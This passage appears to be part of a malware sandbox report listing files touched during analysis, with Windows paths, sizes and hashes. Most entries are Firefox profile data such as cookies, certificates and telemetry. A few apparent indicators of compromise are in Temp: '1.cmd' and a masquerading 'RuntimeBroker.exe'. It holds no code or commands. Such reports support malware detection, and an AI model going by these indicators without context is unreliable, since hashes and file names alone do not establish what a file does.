                                                                                                                      04212ba62c04993c499427fa97399c4ef82b7fea3c2b3c32dd723052afa86e79

                                                                                                                      SHA512

                                                                                                                      35f8ae1ac393dcac11e1a9295e34439fbc3e426a3395116ae9dd67ce8b7f7e7c9eec21f089126c1c9148e06fdd21e523d9702f021aafdde149a7b9b85ff5e03f

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\index

                                                                                                                      Filesize

                                                                                                                      6KB

                                                                                                                      MD5

                                                                                                                      a3d212e0febb8293e69d845f5eb5ab70

                                                                                                                      SHA1

                                                                                                                      280997c2e18770eb1b06eb20b43c6d522be19aa5

                                                                                                                      SHA256

                                                                                                                      0fca02f58f50aca3f43db6ca8734f105859bba60afeff1086bbe905a23026ea5

                                                                                                                      SHA512

                                                                                                                      f8b52dfde4629b3a4e6c928cfabd1fd112a6ba6fa9c1afaf505a21a76291f2fa3a27ed4492530cc3a4058d5846add35b5dbcf74a91a834f2d7aa7454c1716f26

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\index.log

                                                                                                                      Filesize

                                                                                                                      10KB

                                                                                                                      MD5

                                                                                                                      e0367a08ee6dcc7df9f910b646e5d01c

                                                                                                                      SHA1

                                                                                                                      8375da44e4ae38921488fad463f5be9be42815c2

                                                                                                                      SHA256

                                                                                                                      3ddf1afead7ddaa47964a9505298b25b0aa2d79465fb16669ce7f9c100610e83

                                                                                                                      SHA512

                                                                                                                      a684f44e7ecd168b239d697afccd9e283bd86446803c79ad655a12f2aa4040e9917ce7d6ade4a03480db921bd149dbc6d4ce4a4bdbb8fbe08a8e6627b279bbc4

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\jumpListCache\9k_dS5ufZUcAy87uFqGbfVkf4f+9rOru87bUInQwfKQ=.ico

                                                                                                                      Filesize

                                                                                                                      646B

                                                                                                                      MD5

                                                                                                                      129ba860f753f66b2bb90eaa653abc1a

                                                                                                                      SHA1

                                                                                                                      62f40f1bb05a5bd3ea530391d8f59dd34dc8472c

                                                                                                                      SHA256

                                                                                                                      381fb3a86f3e9e8a020ba42a5200572bf283459f3ac07f4bdd5b83d257d3278d

                                                                                                                      SHA512

                                                                                                                      e34610dcf785cfa355df8110fa4617607b90d333ed7eae466cf09bf92e3c84bea8cd9af361c2529f452abd0d6799f9b890b046e2d8b988fdf99d022122a5e8aa

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl

                                                                                                                      Filesize

                                                                                                                      15KB

                                                                                                                      MD5

                                                                                                                      96c542dec016d9ec1ecc4dddfcbaac66

                                                                                                                      SHA1

                                                                                                                      6199f7648bb744efa58acf7b96fee85d938389e4

                                                                                                                      SHA256

                                                                                                                      7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798

                                                                                                                      SHA512

                                                                                                                      cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\startupCache\scriptCache-child.bin

                                                                                                                      Filesize

                                                                                                                      462KB

                                                                                                                      MD5

                                                                                                                      24d6c20c2371bb9028a30bf2a6c873cb

                                                                                                                      SHA1

                                                                                                                      0c3e9dd4ae0d70fa241ff9c9104bc8800a8e703c

                                                                                                                      SHA256

                                                                                                                      5531f258fd34995aad0248d4781fa9182332fdad29406e3dee6d99fc2b7205ee

                                                                                                                      SHA512

                                                                                                                      a06ec9cc88980c6a9c8f18f65a205599f49eb62071d5a06e0328853de9e888687eb6eba70d7f0e4bc8d403a5cff532d2f93defbeefa3d469986c0466d8e02dc9

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\startupCache\scriptCache.bin

                                                                                                                      Filesize

                                                                                                                      9.2MB

                                                                                                                      MD5

                                                                                                                      185fc2adab9e07839648c36a5e54332f

                                                                                                                      SHA1

                                                                                                                      50b48906ce39f0928dc5bc70b1c6653761ab946c

                                                                                                                      SHA256

                                                                                                                      0c0054c7d67b49e7a44d922029a2984147c9e92dbf4b92abbdf4f8692b07d3b0

                                                                                                                      SHA512

                                                                                                                      cb97e583df6b08034d2cf0a07ecf8b3a05616f4a2467c00d645bf992157a3bb5615091ad6661b14d03e6d15aa57456bf6cca82ffd244f6e91fb6707778fae415

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\startupCache\urlCache.bin

                                                                                                                      Filesize

                                                                                                                      3KB

                                                                                                                      MD5

                                                                                                                      f0bc0772d1e5c2c45fa49dd20f37f49d

                                                                                                                      SHA1

                                                                                                                      30ac599faf9ed692d34ec28d087b6f28dbb7a201

                                                                                                                      SHA256

                                                                                                                      64d95ec8235cdc8f12481250a6cc59e3d5b929100d4afb8ad1bd2690a1522c37

                                                                                                                      SHA512

                                                                                                                      fa4ce4ca41d3c600e3742493df23ec27de744f7dad6b1084677a4f04e6e4555cb211070c2ac4f17fce9ce119242ac0b86921f88ad2a40a82e6fc2b4102cd6269

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\startupCache\webext.sc.lz4

                                                                                                                      Filesize

                                                                                                                      107KB

                                                                                                                      MD5

                                                                                                                      126798c0032616f45514340eaa10b994

                                                                                                                      SHA1

                                                                                                                      28ca874474684703dbb643a444d7417c9f80de8f

                                                                                                                      SHA256

                                                                                                                      1dad14abc4eeedec39933cd0b58782f4963d8490f3447dfc2c1ba9bfab765fe9

                                                                                                                      SHA512

                                                                                                                      a8c7eebbf3d1aa828475b5d4ce37de8abe257d5195f9f043ea82e24f957f9d3d74649377c35cb11b1f5a9f2b23fb66bd864e3fce627a8c8aaae62b2a1d426712

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\1.cmd

                                                                                                                      Filesize

                                                                                                                      1KB

                                                                                                                      MD5

                                                                                                                      104cc53cf2a78348c132b27766627399

                                                                                                                      SHA1

                                                                                                                      6c1c7eff5c6f5520473f8c861c9408b0cd07d7cf

                                                                                                                      SHA256

                                                                                                                      995acc6b43d40f9f8236dfc7b581a8afa2f06c538222d329fef9e6f0b6f4bd18

                                                                                                                      SHA512

                                                                                                                      290406d75bdec56531723c245fe55f632415abd4022fb9aebd6a332d0eb33cbd9dec241076534a2265eeacc617afa058cc5c9b170859dc3263042af1e30d1e0b

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe

                                                                                                                      Filesize

                                                                                                                      3.1MB

                                                                                                                      MD5

                                                                                                                      b94af11cca65c557d23559e978a49d18

                                                                                                                      SHA1

                                                                                                                      0c3436d0c5df8e2e39bf4869bbe4413ca8d594b7

                                                                                                                      SHA256

                                                                                                                      f6a0a782d574de811fe66ecf6416c69b486f9ca20faf96cfc863a00063306338

                                                                                                                      SHA512

                                                                                                                      c1254360b2382957f043b8edcf36b28f13a93d0860dc9609d9b46eded81bc004e4149113e9eaad8b4d2cc18164942588bd4e97ecd8fce4f9afd8e537bc668b16

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_303t3ky1.gdo.ps1

                                                                                                                      Filesize

                                                                                                                      60B

                                                                                                                      MD5

                                                                                                                      d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                      SHA1

                                                                                                                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                      SHA256

                                                                                                                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                      SHA512

                                                                                                                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\tmpaddon

                                                                                                                      Filesize

                                                                                                                      479KB

                                                                                                                      MD5

                                                                                                                      09372174e83dbbf696ee732fd2e875bb

                                                                                                                      SHA1

                                                                                                                      ba360186ba650a769f9303f48b7200fb5eaccee1

                                                                                                                      SHA256

                                                                                                                      c32efac42faf4b9878fb8917c5e71d89ff40de580c4f52f62e11c6cfab55167f

                                                                                                                      SHA512

                                                                                                                      b667086ed49579592d435df2b486fe30ba1b62ddd169f19e700cd079239747dd3e20058c285fa9c10a533e34f22b5198ed9b1f92ae560a3067f3e3feacc724f1

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\tmpaddon-1

                                                                                                                      Filesize

                                                                                                                      13.8MB

                                                                                                                      MD5

                                                                                                                      0a8747a2ac9ac08ae9508f36c6d75692

                                                                                                                      SHA1

                                                                                                                      b287a96fd6cc12433adb42193dfe06111c38eaf0

                                                                                                                      SHA256

                                                                                                                      32d544baf2facc893057a1d97db33207e642f0dacf235d8500a0b5eff934ce03

                                                                                                                      SHA512

                                                                                                                      59521f8c61236641b3299ab460c58c8f5f26fa67e828de853c2cf372f9614d58b9f541aae325b1600ec4f3a47953caacb8122b0dfce7481acfec81045735947d

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\40371339ad31a7e6.customDestinations-ms

                                                                                                                      Filesize

                                                                                                                      5KB

                                                                                                                      MD5

                                                                                                                      007ba9626267d53b556f25583cc7fae3

                                                                                                                      SHA1

                                                                                                                      c62c5a9c36fe41436a6ebeb3997a9f779109b2c8

                                                                                                                      SHA256

                                                                                                                      5b82d509ce6ecfbf546669af242af869cf6e64d7328cd723fb0811c76f700479

                                                                                                                      SHA512

                                                                                                                      843739d6bda3c97cbff1b9ad4760cf864f76c20adf6e992a9c98106951caa176add5282a2aca7c2f93443ae8b003f1e0b93396ea135e82b8084a41f38c5a7a7c

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms

                                                                                                                      Filesize

                                                                                                                      24KB

                                                                                                                      MD5

                                                                                                                      b59aed74a3609c4f53e52f909b94a8ff

                                                                                                                      SHA1

                                                                                                                      a3a64f49ccec6065f4fde54797dd4b5cae23d07b

                                                                                                                      SHA256

                                                                                                                      85e145da95ca937f90066b5544d36654e5cff6d5f4faecfbfa6da82cc48cf96b

                                                                                                                      SHA512

                                                                                                                      f614066f25836445da5f71c2ca9d3322e4d02ea3b66ce8639ed32b3b687fb0ab9acb642a751ef76d1f2b559117c6827a0d029ab60ffa89a095480fe68c08ac13

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\AlternateServices.bin

                                                                                                                      Filesize

                                                                                                                      6KB

                                                                                                                      MD5

                                                                                                                      5d1b85651d024a65562174d7754d3b7d

                                                                                                                      SHA1

                                                                                                                      b329bf002ea2ed5b42f7c2904a37ffacfbb5f30b

                                                                                                                      SHA256

                                                                                                                      0e5f34da1a56c8b6a126e8609bdf70f4bc895a090f94ddb073bfb218b642af05

                                                                                                                      SHA512

                                                                                                                      1b120715ee4c7c7100f6b67b8ec9096d049448dc842584a5d80e1d9e59ae44df3cf81ba4afe10b47de3d8f241946093a51c244463074eff8685844615e4cda76

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\AlternateServices.bin

                                                                                                                      Filesize

                                                                                                                      51KB

                                                                                                                      MD5

                                                                                                                      d7a6595ef25a9089b2577543281e47d7

                                                                                                                      SHA1

                                                                                                                      d9d2493f0ae8e67061c6cfca62e828c5b2a473f2

                                                                                                                      SHA256

                                                                                                                      661a46f82dbbac450e230aa17abdf230d64af640f03fcbdfbfa7010ff8066f4b

                                                                                                                      SHA512

                                                                                                                      dc129d38a2a11886cced962f96fb5f3f72ac886788fbdcc83ec57e7574ea1fc6d2656624f838583bfb92dc44c1ac95f01676da5d488f4b87300447196dd71e50

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\AlternateServices.bin

                                                                                                                      Filesize

                                                                                                                      6KB

                                                                                                                      MD5

                                                                                                                      7443b0da1344748628ab636b5f4f9f4e

                                                                                                                      SHA1

                                                                                                                      f4057d5adff5fbf439d2c6be162a5f5e69e7c9cc

                                                                                                                      SHA256

                                                                                                                      22263726609a0c719bcd9193757f8bdcd338fd2afa4d37f226647ed167f3053c

                                                                                                                      SHA512

                                                                                                                      bc54506b177d0c9c2d5b749f65207fe7e0b54b5a37d37d7f2d97cda6bf5a02a5e3c34842d608c79aef9cb48d9d9bcadbf2227f9af59f99b0149a472274b194a7

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\AlternateServices.bin

                                                                                                                      Filesize

                                                                                                                      10KB

                                                                                                                      MD5

                                                                                                                      f66a34a251867fe1476fd75aba7056d3

                                                                                                                      SHA1

                                                                                                                      59eb1682a16820ca3a45151ea8f905ed7c8352e8

                                                                                                                      SHA256

                                                                                                                      3b96e698a60d0b7651d05a046548473d04120e07e2737e7b4f5ed10ac851d8ac

                                                                                                                      SHA512

                                                                                                                      e6ec6c66ab1e7de2270acdb4ec3a89faffc792fa4e80ed03b5c680f26695854839ba6383f0bef62387a3b13480cd0e7715912ffb3af55a18998ccf17a008f874

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\SiteSecurityServiceState.bin

                                                                                                                      Filesize

                                                                                                                      1KB

                                                                                                                      MD5

                                                                                                                      7ecd6543ee153fabd4bc51e70efab956

                                                                                                                      SHA1

                                                                                                                      7871a590f67fda4d1c9ac7438766a65c7735a2aa

                                                                                                                      SHA256

                                                                                                                      c4fbe86bd796c2ab4b8f85391affc45d9d715fd8226752dead98d1f54d5feaeb

                                                                                                                      SHA512

                                                                                                                      073f81bd586ae14444032a8886ed9af135c1a9d6276f0f5a80ebae5268b93f4c68943cbdadaf391ab31f8ea5855aec8fd4db7beacd5e74f3b738cb9e7cfbd252

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cert9.db

                                                                                                                      Filesize

                                                                                                                      288KB

                                                                                                                      MD5

                                                                                                                      328e6dd4a7451b2011bf325a6ed2b2af

                                                                                                                      SHA1

                                                                                                                      18a157defc05f0e5874df8974bf3e0e371c5063a

                                                                                                                      SHA256

                                                                                                                      49f637ba9d3c43e766b1dada8ba70a4bfc915b85a2de5ed701afdc9bcb119aa0

                                                                                                                      SHA512

                                                                                                                      4ff6dce4ef60154bd54eb992cff8635a6243e91a9864bbcbf06caa8bfbac38ce50bc89b7fca5e6543fd7f74c25910bb7fabf010044a2753e9957a9f0bee66aa3

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\content-prefs.sqlite

                                                                                                                      Filesize

                                                                                                                      256KB

                                                                                                                      MD5

                                                                                                                      b41ed219e2c8dac47f2701562d092621

                                                                                                                      SHA1

                                                                                                                      90d507eae3ec943a121dbe5a080412e40470b54f

                                                                                                                      SHA256

                                                                                                                      cfed019635a1e14f74ae78f2c03fb96b40ac3da37b67489bd98c144afc200f1f

                                                                                                                      SHA512

                                                                                                                      5c6027ec701055efb3b6c055727af5ed261e8f1d5ba954e64e8a34e5c791679b1e4a6ef49896ab8089ec151fd758ba41efc7333611af42b851606a0544a9b947

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cookies.sqlite

                                                                                                                      Filesize

                                                                                                                      512KB

                                                                                                                      MD5

                                                                                                                      d2d6d85b199b8a3c60ae8c99568a883f

                                                                                                                      SHA1

                                                                                                                      8a6928443dc2e908ab97fcb6e9923d6652f6923a

                                                                                                                      SHA256

                                                                                                                      b7be3c8d5536b7c7174f87f29469aa3c6efadd73a5d7ffd3c0001dcb489cba88

                                                                                                                      SHA512

                                                                                                                      747b6238fc02ba317a2a81a19639a32d2de12e54f43dad7689097dbe0ee8afe2fe06d8b70f1010fe42594c52da1bdc6995dbd60e0976a2d903d47f9c4aab238e

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\crashes\store.json.mozlz4

                                                                                                                      Filesize

                                                                                                                      66B

                                                                                                                      MD5

                                                                                                                      a6338865eb252d0ef8fcf11fa9af3f0d

                                                                                                                      SHA1

                                                                                                                      cecdd4c4dcae10c2ffc8eb938121b6231de48cd3

                                                                                                                      SHA256

                                                                                                                      078648c042b9b08483ce246b7f01371072541a2e90d1beb0c8009a6118cbd965

                                                                                                                      SHA512

                                                                                                                      d950227ac83f4e8246d73f9f35c19e88ce65d0ca5f1ef8ccbb02ed6efc66b1b7e683e2ba0200279d7ca4b49831fd8c3ceb0584265b10accff2611ec1ca8c0c6c

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\db\data.safe.bin

                                                                                                                      Filesize

                                                                                                                      67KB

                                                                                                                      MD5

                                                                                                                      c9a5363bc345d409d00e7ebf5ed13b59

                                                                                                                      SHA1

                                                                                                                      35f8b17db23df700ca2d230de717d2daefafd916

                                                                                                                      SHA256

                                                                                                                      39478c45a3b7372964eba52c16932ef3484b1ce41347e79543ebf48046da3d20

                                                                                                                      SHA512

                                                                                                                      ebf67bd010cf4367ba6bc4d6176ea1e26c5601df5b58a5c83947031d58841b7bf7b338456680ac074b7ff6d123eb1cb17cd808610014236dc0491e6f90bc7286

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\db\data.safe.tmp

                                                                                                                      Filesize

                                                                                                                      45KB

                                                                                                                      MD5

                                                                                                                      5209a9e05bad91dea6670c3889b391a0

                                                                                                                      SHA1

                                                                                                                      acc0f8c17726fbd40834844f49a65dcc9a369c16

                                                                                                                      SHA256

                                                                                                                      cd8bc73feb3a01224c15e543b6f4d1534916b262484af34e771e35db1bf38df9

                                                                                                                      SHA512

                                                                                                                      d0a020ca7c8e5c4528f6d03feca81909cd4a1996ef8e8a5ba679ecc5a9e7402c93776347e14aad675e76579c173a71162e53a734519f179d17d9947775468796

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\db\data.safe.tmp

                                                                                                                      Filesize

                                                                                                                      21KB

                                                                                                                      MD5

                                                                                                                      58a385a54ebb548dfe840f3889f7733b

                                                                                                                      SHA1

                                                                                                                      144ede8cd2161b306615843899d361e9526ed34c

                                                                                                                      SHA256

                                                                                                                      74904516f3b07411f835a7fbd9f6c01e83dd24dc5892ae10326275ad6567689f

                                                                                                                      SHA512

                                                                                                                      4a13823812ab87b3dc5bdf0ca8d393340ef7e834752a7871aed54ce3a20254b5a034ecbd795afd0adae3799c3c4149f4e88c3eec43754a586e205b7dd7a40f21

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\db\data.safe.tmp

                                                                                                                      Filesize

                                                                                                                      22KB

                                                                                                                      MD5

                                                                                                                      512262ca4b4ba2f98d811a44fa1eabe8

                                                                                                                      SHA1

                                                                                                                      fe88ed6c39e1669f938126b3eb53cbd85244e822

                                                                                                                      SHA256

                                                                                                                      ff319022671e65b692344b9de6ab74fa0a889c16b16f2d326e0049db751672e4

                                                                                                                      SHA512

                                                                                                                      789fecb6481bb76af215ce30afe62efd9caace0cea9ba25c07713432081b0911612a2545eb699ac3260553b79b3b299387e66adaaf4230b9676f73899d900773

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\db\data.safe.tmp

                                                                                                                      Filesize

                                                                                                                      65KB

                                                                                                                      MD5

                                                                                                                      f8c18c8e6186ba64a5d0525d19af2d65

                                                                                                                      SHA1

                                                                                                                      fd97d9d0f9427980c16d2619a53f98df5361e4d0

                                                                                                                      SHA256

                                                                                                                      b60bf7da683af0626c88d518ca2048c8ae9746c8a2fa66256f90b4fe449696e9

                                                                                                                      SHA512

                                                                                                                      65709adc97c215bdfeea3cb3c4672cd4192ff0bca12336d960f2397c7f3b5f176b1ac15d89311c66477c5aed4d799112e6e3959f289fb6acd82241e0e19aecdd

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\db\data.safe.tmp

                                                                                                                      Filesize

                                                                                                                      22KB

                                                                                                                      MD5

                                                                                                                      c4cdcd155e30b35658a4c8639261e441

                                                                                                                      SHA1

                                                                                                                      21649987a27813a45aaf084c9c217c0330efab30

                                                                                                                      SHA256

                                                                                                                      81bc0a30b6663bc6f310ff016067425dcc46d5039c4a7dc4b6ecf5ecf0f945be

                                                                                                                      SHA512

                                                                                                                      cbe66a522cee19428fe0129d89edea831fc21e5bf84b03b2fc59d3ddffc60412ed82febf4963c3dcb121f7b1f39364f262278aeef404c951ac1972774c3fe21b

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\db\data.safe.tmp

                                                                                                                      Filesize

                                                                                                                      67KB

                                                                                                                      MD5

                                                                                                                      004ef140c59cdec0471b9a57f7d60627

                                                                                                                      SHA1

                                                                                                                      8143789d64049c1cbdd8d54f8c9d74a7b816f455

                                                                                                                      SHA256

                                                                                                                      6ed973527cfb3fbec38055cbb393e4a9d3a984b169456baac4c76d241cc393a0

                                                                                                                      SHA512

                                                                                                                      2bc51419ef537570090b59bc476e4fe4fc8f97f856bd05e4f61c10514a7a53d269f878adda8e05301b583ed94c49d69da56ab2c4d6ccab50196d77df0c1eb724

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\db\data.safe.tmp

                                                                                                                      Filesize

                                                                                                                      24KB

                                                                                                                      MD5

                                                                                                                      c2f9f516201559048dd4b57f27e33d23

                                                                                                                      SHA1

                                                                                                                      aa0316b44abe8407f4aea7a6ceeb308d30483550

                                                                                                                      SHA256

                                                                                                                      7fcfdc0c66ad68cfe5b17eb3b36ef37d987c431e8c7a7136a59e224afe0cfac9

                                                                                                                      SHA512

                                                                                                                      b949cf96154fa160854e6b0d774675cc4112bd314f51b6d99f82c683204eccd3565603aad4b2dcce68c49016d11916b8239c9e4946084d69e3aedc2084d0a121

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\events\events

                                                                                                                      Filesize

                                                                                                                      1KB

                                                                                                                      MD5

                                                                                                                      e5cb28aea1725f29fbe4f8ac4507d8fc

                                                                                                                      SHA1

                                                                                                                      f70ec7fbc7228cd2e74489142557ffa09172ce33

                                                                                                                      SHA256

                                                                                                                      01c1ea2e7651f1aad1251d24a1b3ffaad20db17d98c9b7e04501ccb6057840b9

                                                                                                                      SHA512

                                                                                                                      a4f82d03ff030c445ada8f5269985efcbffcbff7c1fac9dce5ac29524b40583f28a49bc0861c6a6a0c30a105ab3fe61bb8abc8a6e3d3594254ef014b6a7d9683

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\events\pageload

                                                                                                                      Filesize

                                                                                                                      1KB

                                                                                                                      MD5

                                                                                                                      8e1665d2e537578d0fd5fa411f9fafa0

                                                                                                                      SHA1

                                                                                                                      e7df520ae64b3908d06d78241317cfef0aad77e9

                                                                                                                      SHA256

                                                                                                                      c39c6f63a691209c4ef8a83af382d268279952d2de8567aae5ee619c2f304fe1

                                                                                                                      SHA512

                                                                                                                      2e79763fe34d5a33f560eac0d19338f916ddff42292c8cbb51a4e2118a50a91c65db02e2db06e22bc73ffb761c6f305307ccb3b6ec31ca207d1436aeaccc78c9

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\pending_pings\3c344429-8795-4fa1-b390-e7dcdaa651a2

                                                                                                                      Filesize

                                                                                                                      659B

                                                                                                                      MD5

                                                                                                                      05d6bc9ce9e177552a954abd23962e22

                                                                                                                      SHA1

                                                                                                                      1a461e4109b65081b39572a78559d7396aaf6302

                                                                                                                      SHA256

                                                                                                                      84bf4a161a993282c1cfa80089d76901ef0107e684618b01a230d086bb0e8dfe

                                                                                                                      SHA512

                                                                                                                      1b91d849a813018c3f1ae0064c0586366b28e460b4c06cb028876cee55f97342336824f8de7c5c23cbec8a85581974fcf6c10be59b9987bad2208197431abee7

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\pending_pings\53d9e35b-f35a-4381-8243-5d6accec6309

                                                                                                                      Filesize

                                                                                                                      734B

                                                                                                                      MD5

                                                                                                                      64fc22b79f49b0f5b5256c3217642eef

                                                                                                                      SHA1

                                                                                                                      47c662321f80baae5c4a99f9ccc3022d413bac19

                                                                                                                      SHA256

                                                                                                                      99a2ebfef6e92fdbad37b128f0e259447ba321aa2efeef50a2a9a985f1685108

                                                                                                                      SHA512

                                                                                                                      ca75f490c80187b9749bf97b3fb0058f55967e710e8f2044ad22ffe48c86c9416b590c2caeedad12c362e13de729a8c623a2ce324246714cc38cb106193ae085

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\pending_pings\873e9ce5-59c6-40ee-b9f0-d7733bf82986

                                                                                                                      Filesize

                                                                                                                      12KB

                                                                                                                      MD5

                                                                                                                      04e2735f8edb0c2acfff061ad3734740

                                                                                                                      SHA1

                                                                                                                      a9649b52aef6e72d7b72a1698787a5d7f350f027

                                                                                                                      SHA256

                                                                                                                      2602154913864168cbb74de3119009c6454587529755e3eed1c79bfae58d8033

                                                                                                                      SHA512

                                                                                                                      61b839fe60c9fb71110057eb4e7510b35c87642964fc941f8fe9bbfd395c4c2d75c0379d59be65671193267da522465c08ec271d01663aa8bab496adfdbbed73

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\pending_pings\91111c6c-3c0b-4342-86df-f0df162ae764

                                                                                                                      Filesize

                                                                                                                      982B

                                                                                                                      MD5

                                                                                                                      0f9a9eee4b19c69814dab544f9654448

                                                                                                                      SHA1

                                                                                                                      0a99319d901344d9ce4039d00961d3881dbba389

                                                                                                                      SHA256

                                                                                                                      3ba64a06b11425fa33850773d299771911aef7e63dba249b3c04402c6d24b670

                                                                                                                      SHA512

                                                                                                                      86e4a76f5f782cdb7db1c601bed9d59358b317a75dbf58c6dd149124f66581d50d4c8636d90213ee61c33fbc31bfbef97cf52daf2e77e5851604cf69719cb4a3

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\pending_pings\9b90c81b-a87d-4961-859f-34a7f793dc64

                                                                                                                      Filesize

                                                                                                                      1KB

                                                                                                                      MD5

                                                                                                                      b3114f5df4cb7d003b60fe07580b8212

                                                                                                                      SHA1

                                                                                                                      07e65f6b178f0874090ca8f0e30ea0c7d6e0e0fd

                                                                                                                      SHA256

                                                                                                                      4f7ca3276d62c9e924de30cd9f0acc99227b6c515d3af27a45d5348f23f750ff

                                                                                                                      SHA512

                                                                                                                      70caf8d13c56ad1a381352e517535a00ca9bb3071c8c4865b375f34ba7a654248a0ab4ebfb2bc26e34aa4190acc06bf6f2b491a44c80bd54772fb31b2d48011e

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\pending_pings\afc47de4-d9b5-47df-94d7-175de48006a0

                                                                                                                      Filesize

                                                                                                                      7KB

                                                                                                                      MD5

                                                                                                                      e1511baba250eb06fab98a9d864ccd91

                                                                                                                      SHA1

                                                                                                                      f84ca8a35bff320aa405db0ab5f044d929f5bb21

                                                                                                                      SHA256

                                                                                                                      578a9dd1c473a1cd19c53762a5ec24ec652ccdf267b9e99586f18976905ec33a

                                                                                                                      SHA512

                                                                                                                      c444a082156e2717e3ebab0e5c7ba1833b905d542680df40f79ca694ab08936824e2d0c48f46ba1a6531f97612486146b9781059b46b5e2dfcd6d46ab6e725e2

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\datareporting\glean\pending_pings\ba090bd1-bbfa-4309-8d2e-c872fc996b74

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      c274e9498ef6c7708ccb0aad3ab869bf

                                                                                                                      SHA1

                                                                                                                      dd0ae4cd77e5b454607ee7eb23dbf43ff6c2cbed

                                                                                                                      SHA256

                                                                                                                      fbb56441ec566b848f6c021f1a0bb7109c770ba4ebd05e65fb3686faf462e32e

                                                                                                                      SHA512

                                                                                                                      231ffdc05c1c2131a0443c18a03cacd087bfaab16b7373657c361285e7c6d2b80b702be6bf7a0cd6ca4895ce654e1a7a876fd4a14255cf7d70d51a3ea1ef16f5

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\extensions.json

                                                                                                                      Filesize

                                                                                                                      37KB

                                                                                                                      MD5

                                                                                                                      c173020bda817a45f64c5fda72db5eb5

                                                                                                                      SHA1

                                                                                                                      ac783e559c844ec5f4d5bd2fda77885468ff09e3

                                                                                                                      SHA256

